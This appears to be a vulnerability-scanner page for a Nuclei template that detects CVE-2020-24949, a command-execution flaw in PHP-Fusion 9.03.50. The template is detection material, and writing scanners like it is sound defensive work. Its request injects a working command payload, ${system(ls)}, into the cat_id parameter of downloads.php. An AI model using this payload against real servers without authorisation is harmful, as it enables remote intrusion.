PHP-Fusion 9.03.50 - Remote Code Execution

ID: CVE-2020-24949

Severity: high

Author: geeknik

Tags: cve,cve2020,rce,php,packetstorm,phpfusion,php-fusion

Description

PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.

YAML Source

id: CVE-2020-24949

info:
  name: PHP-Fusion 9.03.50 - Remote Code Execution
  author: geeknik
  severity: high
  description: PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.
  reference:
    - https://packetstormsecurity.com/files/162852/phpfusion90350-exec.txt
    - https://github.com/php-fusion/PHP-Fusion/issues/2312
    - http://packetstormsecurity.com/files/162852/PHPFusion-9.03.50-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24949
    - https://github.com/404notf0und/CVE-Flow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-24949
    cwe-id: CWE-77
    epss-score: 0.95694
    epss-percentile: 0.99372
    cpe: cpe:2.3:a:php-fusion:php-fusion:9.03.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-fusion
    product: php-fusion
  tags: cve,cve2020,rce,php,packetstorm,phpfusion,php-fusion

http:
  - method: GET
    path:
      - "{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "infusion_db.php"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b56259ba6eb86b3f9eba13d317e4bbd3ea75b960936a8a06b3baeb2d9f121e22022100ed96bab54be808d2b538c9aa709381a6ffb2bbe8fc81ff3991e2bc6c3bef015c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24949.yaml"

View on Github